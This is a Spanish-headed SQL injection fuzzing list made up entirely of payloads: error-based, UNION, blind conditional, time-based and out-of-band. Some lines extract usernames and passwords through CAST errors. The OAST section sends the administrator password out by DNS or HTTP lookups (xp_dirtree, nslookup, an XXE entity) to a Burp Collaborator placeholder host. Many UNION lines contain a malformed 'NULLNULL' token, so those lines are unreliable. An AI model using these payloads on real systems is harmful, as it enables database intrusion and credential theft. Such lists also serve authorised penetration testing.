Fuzzing Básico

# Detectar inyecciones SQL

"
''
'
' --
' /*
' #
' or 1=1 --
' or 1=1 /*
' or 1=1 #
'||(SELECT '')||'
'||(SELECT '' FROM dual)||'

# Detectar inyecciones SQL en banda basadas en errores

' AND CAST((SELECT 1) AS int) --
' AND CAST((SELECT 1 FROM DUAL) AS INTEGER) --
' AND CAST((SELECT 1) AS int) #
' AND 1=CAST((SELECT 1) AS int) --
' AND 1=CAST((SELECT 1 FROM DUAL) AS INTEGER) --
' AND 1=CAST((SELECT 1) AS int) #
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int) --
' AND 1=CAST((SELECT username FROM users WHERE ROWNUM=1) AS NUMBER) --
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int) #
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int) --
' AND 1=CAST((SELECT password FROM users WHERE ROWNUM=1) AS NUMBER) --
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int) #

# Detectar inyecciones SQL en banda basadas en UNION SELECT

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
' ORDER BY 4 --
' ORDER BY 5 --
' ORDER BY 6 --
' ORDER BY 7 --
' ORDER BY 8 --
' ORDER BY 9 --
' ORDER BY 10 --
' ORDER BY 11 --
' ORDER BY 12 --
' ORDER BY 13 --
' ORDER BY 14 --
' ORDER BY 15 --
' ORDER BY 16 --
' ORDER BY 17 --
' ORDER BY 18 --
' ORDER BY 19 --
' ORDER BY 20 --
' ORDER BY 1 #
' ORDER BY 2 #
' ORDER BY 3 #
' ORDER BY 4 #
' ORDER BY 5 #
' ORDER BY 6 #
' ORDER BY 7 #
' ORDER BY 8 #
' ORDER BY 9 #
' ORDER BY 10 #
' ORDER BY 11 #
' ORDER BY 12 #
' ORDER BY 13 #
' ORDER BY 14 #
' ORDER BY 15 #
' ORDER BY 16 #
' ORDER BY 17 #
' ORDER BY 18 #
' ORDER BY 19 #
' ORDER BY 20 #
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL --
' UNION SELECT NULL FROM DUAL --
' UNION SELECT NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL --
' UNION SELECT NULL #
' UNION SELECT NULL,NULL #
' UNION SELECT NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL #
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULLNULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL #

# Detectar inyecciones SQL ciegas basadas en condicionales

' AND '1'='1
' AND '1'='2
' AND '1'='1' --
' AND '1'='2' --
' AND '1'='1' /*
' AND '1'='2' /*
' AND '1'='1' #
' AND '1'='2' #
' OR '1'='1
' OR '1'='2
' OR '1'='1' --
' OR '1'='2' --
' OR '1'='1' /*
' OR '1'='2' /*
' OR '1'='1' #
' OR '1'='2' #

# Detectar inyecciones SQL ciegas basadas en errores condicionales

' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END)
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END)
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END) --
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END) --
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END) /*
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END) /*
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END) #
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END) #
' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM DUAL)
' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE NULL END FROM DUAL)
' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM DUAL) --
' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE NULL END FROM DUAL) --
' AND 1=(SELECT CASE WHEN (1=1) THEN 1/(SELECT 0) ELSE NULL END)
' AND 1=(SELECT CASE WHEN (1=2) THEN 1/(SELECT 0) ELSE NULL END)
' AND 1=(SELECT CASE WHEN (1=1) THEN 1/(SELECT 0) ELSE NULL END) --
' AND 1=(SELECT CASE WHEN (1=2) THEN 1/(SELECT 0) ELSE NULL END) --
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a' --
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a' --
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a' /*
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a' /*
' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a' #
' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a' #
' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM DUAL)='a
' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM DUAL)='a
' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM DUAL)='a' --
' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM DUAL)='a' --
' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
' ||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
' AND CASE WHEN (1=1) THEN 1/0 ELSE 1 END = 1
' AND CASE WHEN (1=2) THEN 1/0 ELSE 1 END = 1
' AND CASE WHEN (1=1) THEN 1/0 ELSE 1 END = 1 --
' AND CASE WHEN (1=2) THEN 1/0 ELSE 1 END = 1 --
' AND CASE WHEN (1=1) THEN 1/0 ELSE 1 END = 1 /*
' AND CASE WHEN (1=2) THEN 1/0 ELSE 1 END = 1 /*
' AND CASE WHEN (1=1) THEN 1/0 ELSE 1 END = 1 #
' AND CASE WHEN (1=2) THEN 1/0 ELSE 1 END = 1 #
' AND SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),'a')
' AND SELECT IF(1=2,(SELECT table_name FROM information_schema.tables),'a')
' AND SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),'a') #
' AND SELECT IF(1=2,(SELECT table_name FROM information_schema.tables),'a') #
' AND IF(1=1, 1/0, 1) = 1
' AND IF(1=2, 1/0, 1) = 1
' AND IF(1=1, 1/0, 1) = 1 --
' AND IF(1=2, 1/0, 1) = 1 --
' AND IF(1=1, 1/0, 1) = 1 /*
' AND IF(1=2, 1/0, 1) = 1 /*
' AND IF(1=1, 1/0, 1) = 1 #
' AND IF(1=2, 1/0, 1) = 1 #

# Detectar inyecciones SQL ciegas basadas en tiempo

'; IF (1=1) WAITFOR DELAY '0:0:10' --
'; IF (1=2) WAITFOR DELAY '0:0:10' --
'; SELECT CASE WHEN (1=1) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual --
'; SELECT CASE WHEN (1=2) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual --
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END --
'; SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END --
' ||pg_sleep(10) --
'; SELECT IF(1=1,SLEEP(10),'a') #
'; SELECT IF(1=2,SLEEP(10),'a') #

# Detectar inyecciones fuera de banda OAST

'; exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' --
'; SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual --
'; SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') --
'; copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' --
'; LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') #
'; SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' #
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='administrator');exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') --
'; SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual --
'; create OR replace function f() returns void as $$ declare c text;declare p text;begin SELECT into p (SELECT password FROM users WHERE username='administrator');c := 'copy (SELECT '''') to program ''nslookup '||p||' BURP-COLLABORATOR-SUBDOMAIN''';execute c;END;$$ language plpgsql security definer;SELECT f(); --
'; SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' #
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual+--
'+UNION+SELECT+UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')+--
'+exec+master..xp_dirtree+'//BURP-COLLABORATOR-SUBDOMAIN/a'+--
'%3b+exec+master..xp_dirtree+'//BURP-COLLABORATOR-SUBDOMAIN/a'+--
'%3b+copy+(SELECT+'')+to+program+'nslookup+BURP-COLLABORATOR-SUBDOMAIN'+--
'+copy+(SELECT+'')+to+program+'nslookup+BURP-COLLABORATOR-SUBDOMAIN'+--
'+LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')+#+
'%3b+LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')+#+
'+UNION+SELECT+...+INTO+OUTFILE+'\\\\BURP-COLLABORATOR-SUBDOMAIN\a'+#
'%3b+UNION+SELECT+...+INTO+OUTFILE+'\\\\BURP-COLLABORATOR-SUBDOMAIN\a'+#